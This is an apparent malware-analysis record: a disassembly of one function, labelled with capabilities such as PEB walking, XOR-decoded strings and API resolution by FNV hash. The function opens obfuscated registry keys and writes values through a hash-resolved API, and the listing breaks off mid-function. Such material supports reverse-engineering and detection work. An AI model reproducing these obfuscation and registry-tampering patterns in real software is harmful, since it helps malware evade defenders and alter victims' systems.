Function at 0x4191f0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51f356
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x410
push esi
push edi
push 2
push 0
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x64], 0x35378eac
mov dword [ebp - 0x60], 0x11d2683f
mov dword [ebp - 0x5c], 0xc0009aa8
mov dword [ebp - 0x58], 0xa2cfbb4f
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
je 0x419265
cmp eax, 1
je 0x419265
cmp eax, 0x80010106
jne 0x41aa11
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 0
push eax
push 0x53e604
push 1
push 0
push 0x536104
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x2c]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
test eax, eax
js 0x41a9df
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x34]
push edx
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
js 0x41a9df
movaps xmm0, xmmword [0x545b20]
xor ecx, ecx
movups xmmword [ebp - 0x285], xmm0
movaps xmm0, xmmword [0x544d00]
movups xmmword [ebp - 0x275], xmm0
movaps xmm0, xmmword [0x544e50]
movups xmmword [ebp - 0x265], xmm0
movaps xmm0, xmmword [str.winwpNR]
movups xmmword [ebp - 0x255], xmm0
nop
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x285], al
inc ecx
cmp ecx, 0x37
jb 0x4192f0
mov dword [0x5585f0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x285]
mov byte [ebp - 0x24e], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419330
sub ecx, edx
lea eax, [ebp - 0x285]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b20
cmp dword [ebp - 0x3c], 0x10
lea ecx, [ebp - 0x68]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push 0
push ecx
push 0
push 0x20006
push 1
push 0
push 0
push eax
push dword [ebp - 0x34]
call esi
mov ecx, dword [ebp - 0x3c]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x4193b2
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4193a5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa24
push ecx
push edx
call fcn.004f7c11
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x419542
movaps xmm0, xmmword [0x545580]
xor ecx, ecx
movups xmmword [ebp - 0x8a], xmm0
mov dword [ebp - 0x7a], 0x90929588
xorps xmm0, xmm0
mov byte [ebp - 0x76], 0x8c
movq qword [ebp - 0x75], xmm0
mov byte [ebp - 0x6d], 0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x8a], al
inc ecx
cmp ecx, 0x15
jb 0x4193e1
mov dword [0x55855c], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x8a]
mov byte [ebp - 0x75], 0
movups xmmword [ebp - 0x1f8], xmm0
mov dword [ebp - 0x1e8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1e4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419422
sub ecx, edx
lea eax, [ebp - 0x8a]
push ecx
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00402b20
mov byte [ebp - 4], 1
lea eax, [ebp - 0x1f8]
cmp dword [ebp - 0x1e4], 0x10
cmovae eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x18], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x20], ecx
cmp ecx, esi
je 0x4194cf
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4194cf
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop word [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x24], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4194c5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4194a8
cmp esi, 0xda5113dc
je 0x4194d3
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x419490
mov eax, dword [eax]
jmp 0x419465
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x18]
add eax, edx
push dword [ebp - 0x68]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1e4]
cmp ecx, 0x10
jb 0x41953c
mov edx, dword [ebp - 0x1f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419532
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa29
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
movaps xmm0, xmmword [0x545b20]
xor ecx, ecx
movups xmmword [ebp - 0x3d6], xmm0
mov word [ebp - 0x396], 0x5f45
movaps xmm0, xmmword [0x544d00]
movups xmmword [ebp - 0x3c6], xmm0
mov byte [ebp - 0x38c], 0
movaps xmm0, xmmword [0x544e50]
movups xmmword [ebp - 0x3b6], xmm0
movaps xmm0, xmmword [0x544620]
movups xmmword [ebp - 0x3a6], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0x394], xmm0
nop word [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x3d6], al
inc ecx
cmp ecx, 0x42
jb 0x4195a0
mov dword [0x5585b4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x3d6]
mov byte [ebp - 0x394], 0
movups xmmword [ebp - 0x210], xmm0
mov dword [ebp - 0x200], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1fc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4195e4
sub ecx, edx
lea eax, [ebp - 0x3d6]
push ecx
push eax
lea ecx, [ebp - 0x210]
call fcn.00402b20
cmp dword [ebp - 0x1fc], 0x10
lea ecx, [ebp - 0x6c]
push 0
push ecx
push 0
push 0x20006
push 1
push 0
lea eax, [ebp - 0x210]
cmovae eax, dword [ebp - 0x210]
push 0
push eax
push dword [ebp - 0x34]
call esi
mov ecx, dword [ebp - 0x1fc]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x419672
mov edx, dword [ebp - 0x210]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419665
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa2e
push ecx
push edx
call fcn.004f7c11
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x4197e4
xor eax, eax
mov word [ebp - 0x44], 0x948e
xorps xmm0, xmm0
mov word [ebp - 0x24], ax
mov byte [ebp - 0x42], 0x88
xor ecx, ecx
movq qword [ebp - 0x41], xmm0
mov byte [ebp - 0x39], al
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 3
jb 0x419697
mov dword [0x558540], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x41], 0
movups xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0xb0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xac], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4196d2
sub ecx, edx
lea eax, [ebp - 0x44]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.00402b20
mov byte [ebp - 4], 2
lea eax, [ebp - 0xc0]
cmp dword [ebp - 0xac], 0x10
cmovae eax, dword [ebp - 0xc0]
mov dword [ebp - 0x1c], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x419777
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x419777
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x18], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41976d
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x419750
cmp esi, 0xda5113dc
je 0x41977b
mov ecx, dword [ebp - 0x18]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x419737
mov eax, dword [eax]
jmp 0x419712
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 2
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x24]
push ecx
push 1
push 0
push dword [ebp - 0x1c]
add eax, edx
push dword [ebp - 0x6c]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xac]
cmp ecx, 0x10
jb 0x4197e4
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4197da
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa33
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x545b20]
xor ecx, ecx
movups xmmword [ebp - 0x27a], xmm0
mov dword [ebp - 0x25a], 0x2e7e7b64
movaps xmm0, xmmword [0x544d00]
movups xmmword [ebp - 0x26a], xmm0
mov byte [ebp - 0x256], 0x4b
movaps xmm0, xmmword [str.uwwppd]
movups xmmword [ebp - 0x255], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x27a], al
inc ecx
cmp ecx, 0x2c
jb 0x419821
mov dword [0x558568], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x27a]
mov byte [ebp - 0x24e], 0
movups xmmword [ebp - 0xd8], xmm0
mov dword [ebp - 0xc8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xc4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419865
sub ecx, edx
lea eax, [ebp - 0x27a]
push ecx
push eax
lea ecx, [ebp - 0xd8]
call fcn.00402b20
cmp dword [ebp - 0xc4], 0x10
lea ecx, [ebp - 0x54]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0xd8]
cmovae eax, dword [ebp - 0xd8]
push ecx
push 0x20006
push 1
push eax
push dword [ebp - 0x34]
call esi
mov ecx, dword [ebp - 0xc4]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x4198f1
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4198e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa38
push ecx
push edx
call fcn.004f7c11
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x419c1a
movaps xmm0, xmmword [0x545860]
xor ecx, ecx
movups xmmword [ebp - 0x22b], xmm0
mov word [ebp - 0x21b], 0x9989
xorps xmm0, xmm0
mov byte [ebp - 0x211], 0
movq qword [ebp - 0x219], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x22b], al
inc ecx
cmp ecx, 0x12
jb 0x419924
mov dword [0x55858c], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x22b]
mov byte [ebp - 0x219], 0
movups xmmword [ebp - 0xf0], xmm0
mov dword [ebp - 0xe0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xdc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419968
sub ecx, edx
lea eax, [ebp - 0x22b]
push ecx
push eax
lea ecx, [ebp - 0xf0]
call fcn.00402b20
mov byte [ebp - 4], 3
lea eax, [ebp - 0xf0]
cmp dword [ebp - 0xdc], 0x10
cmovae eax, dword [ebp - 0xf0]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x419a17
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x419a17
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x419a0d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4199f0
cmp esi, 0xda5113dc
je 0x419a1b
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4199d5
mov eax, dword [eax]
jmp 0x4199b0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x54]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xdc]
cmp ecx, 0x10
jb 0x419a84
mov edx, dword [ebp - 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419a7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa3d
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x544fe0]
xor ecx, ecx
movups xmmword [ebp - 0x2aa], xmm0
mov dword [ebp - 0x29a], 0x97969daf
movaps xmm0, xmmword [str.g_awmjh]
mov byte [ebp - 0x296], 0x91
movups xmmword [ebp - 0x295], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2aa], al
inc ecx
cmp ecx, 0x1c
jb 0x419ab3
mov dword [0x5585a4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2aa]
mov byte [ebp - 0x28e], 0
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xf4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419af7
sub ecx, edx
lea eax, [ebp - 0x2aa]
push ecx
push eax
lea ecx, [ebp - 0x108]
call fcn.00402b20
mov byte [ebp - 4], 4
lea eax, [ebp - 0x108]
cmp dword [ebp - 0xf4], 0x10
cmovae eax, dword [ebp - 0x108]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x419ba7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x419ba7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x419b9d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x419b80
cmp esi, 0xda5113dc
je 0x419bab
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x419b65
mov eax, dword [eax]
jmp 0x419b40
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x54]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0xf4]
cmp ecx, 0x10
jb 0x419c14
mov edx, dword [ebp - 0x108]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419c0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa42
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
movaps xmm0, xmmword [0x545b20]
xor ecx, ecx
movups xmmword [ebp - 0x38b], xmm0
mov word [ebp - 0x36b], 0x7b64
movaps xmm0, xmmword [0x544d00]
movups xmmword [ebp - 0x37b], xmm0
mov byte [ebp - 0x369], 0x7e
movaps xmm0, xmmword [str.Ribfvy]
movups xmmword [ebp - 0x368], xmm0
nop word [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x38b], al
inc ecx
cmp ecx, 0x2a
jb 0x419c60
mov dword [0x5585cc], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x38b]
mov byte [ebp - 0x361], 0
movups xmmword [ebp - 0x120], xmm0
mov dword [ebp - 0x110], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x10c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419ca4
sub ecx, edx
lea eax, [ebp - 0x38b]
push ecx
push eax
lea ecx, [ebp - 0x120]
call fcn.00402b20
cmp dword [ebp - 0x10c], 0x10
lea ecx, [ebp - 0x38]
push ecx
push 0x20006
lea eax, [ebp - 0x120]
cmovae eax, dword [ebp - 0x120]
push 1
push eax
push dword [ebp - 0x34]
call esi
mov ecx, dword [ebp - 0x10c]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x419d2a
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419d1d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa47
push ecx
push edx
call fcn.004f7c11
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x419ecc
movaps xmm0, xmmword [0x545c10]
xor eax, eax
cmp dword [ebp - 0x28], 1
movups xmmword [ebp - 0x245], xmm0
setne al
mov byte [ebp - 0x235], 0x95
xorps xmm0, xmm0
mov dword [ebp - 0x20], eax
movq qword [ebp - 0x234], xmm0
xor ecx, ecx
mov byte [ebp - 0x22c], 0
nop word [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x245], al
inc ecx
cmp ecx, 0x11
jb 0x419d70
mov dword [0x5585e4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x245]
mov byte [ebp - 0x234], 0
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x128], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x124], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419db4
sub ecx, edx
lea eax, [ebp - 0x245]
push ecx
push eax
lea ecx, [ebp - 0x138]
call fcn.00402b20
mov byte [ebp - 4], 5
lea eax, [ebp - 0x138]
cmp dword [ebp - 0x124], 0x10
cmovae eax, dword [ebp - 0x138]
mov dword [ebp - 0x24], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x419e5f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x419e5f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x419e55
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x419e38
cmp esi, 0xda5113dc
je 0x419e63
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x419e20
mov eax, dword [eax]
jmp 0x419df7
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x20]
push ecx
push 4
push 0
push dword [ebp - 0x24]
add eax, edx
push dword [ebp - 0x38]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x124]
cmp ecx, 0x10
jb 0x419ecc
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419ec2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa4c
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x545b20]
xor ecx, ecx
movups xmmword [ebp - 0x420], xmm0
mov byte [ebp - 0x3e0], 0x45
movaps xmm0, xmmword [0x544d00]
movups xmmword [ebp - 0x410], xmm0
mov byte [ebp - 0x3d7], 0
movaps xmm0, xmmword [0x544ed0]
movups xmmword [ebp - 0x400], xmm0
movaps xmm0, xmmword [0x544630]
movups xmmword [ebp - 0x3f0], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0x3df], xmm0
nop
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x420], al
inc ecx
cmp ecx, 0x41
jb 0x419f20
mov dword [0x558584], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x420]
mov byte [ebp - 0x3df], 0
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x140], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x13c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419f64
sub ecx, edx
lea eax, [ebp - 0x420]
push ecx
push eax
lea ecx, [ebp - 0x150]
call fcn.00402b20
cmp dword [ebp - 0x13c], 0x10
lea ecx, [ebp - 0x30]
push 0
push ecx
push 0
push 0x20006
push 1
push 0
lea eax, [ebp - 0x150]
cmovae eax, dword [ebp - 0x150]
push 0
push eax
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ecx, dword [ebp - 0x13c]
test eax, eax
sete al
mov byte [ebp - 0x21], al
cmp ecx, 0x10
jb 0x419ff6
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x419fe9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa51
push ecx
push edx
call fcn.004f7c11
mov al, byte [ebp - 0x21]
add esp, 8
test al, al
je 0x41a934
movaps xmm0, xmmword [0x545d80]
xor ecx, ecx
movups xmmword [ebp - 0x314], xmm0
mov word [ebp - 0x304], 0x9294
movaps xmm0, xmmword [0x542e90]
movups xmmword [ebp - 0x302], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x314], al
inc ecx
cmp ecx, 0x19
jb 0x41a025
mov dword [0x5585e8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x314]
mov byte [ebp - 0x2fb], 0
movups xmmword [ebp - 0x168], xmm0
mov dword [ebp - 0x158], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x154], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a070
sub ecx, edx
lea eax, [ebp - 0x314]
push ecx
push eax
lea ecx, [ebp - 0x168]
call fcn.00402b20
mov byte [ebp - 4], 6
lea eax, [ebp - 0x168]
cmp dword [ebp - 0x154], 0x10
cmovae eax, dword [ebp - 0x168]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41a117
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41a117
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41a10d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41a0f0
cmp esi, 0xda5113dc
je 0x41a11b
mov ecx, dword [ebp - 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x41a0d8
mov eax, dword [eax]
jmp 0x41a0b3
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x28]
push ecx
push 4
push 0
push dword [ebp - 0x20]
add eax, edx
push dword [ebp - 0x30]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x154]
cmp ecx, 0x10
jb 0x41a184
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41a17a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aa56
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x545cd0]
xor ecx, ecx
movups xmmword [ebp - 0x336], xmm0
mov word [ebp - 0x326], 0x9389
movaps xmm0, xmmword [0x542fc0]
movups xmmword [ebp - 0x324], xmm0
nop dword [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x336], al
inc ecx
cmp ecx, 0x19
jb 0x41a1b0
mov dword [0x5585e8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x336]
mov byte [ebp - 0x31d], 0
movups xmmword [ebp - 0x180], xmm0
mov dword [ebp - 0x170], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x16c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41a1f4
sub ecx, edx
lea eax, [ebp - 0x336]
push ecx
push eax
lea ecx, [ebp - 0x180]
call fcn.00402b20
mov byte [ebp - 4], 7
lea eax, [ebp - 0x180]
cmp dword [ebp - 0x16c], 0x10
cmovae eax, dword [ebp - 0x180]
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x41a29f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41a29f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x1c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41a295
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x41a278
cmp esi, 0xda5113dc
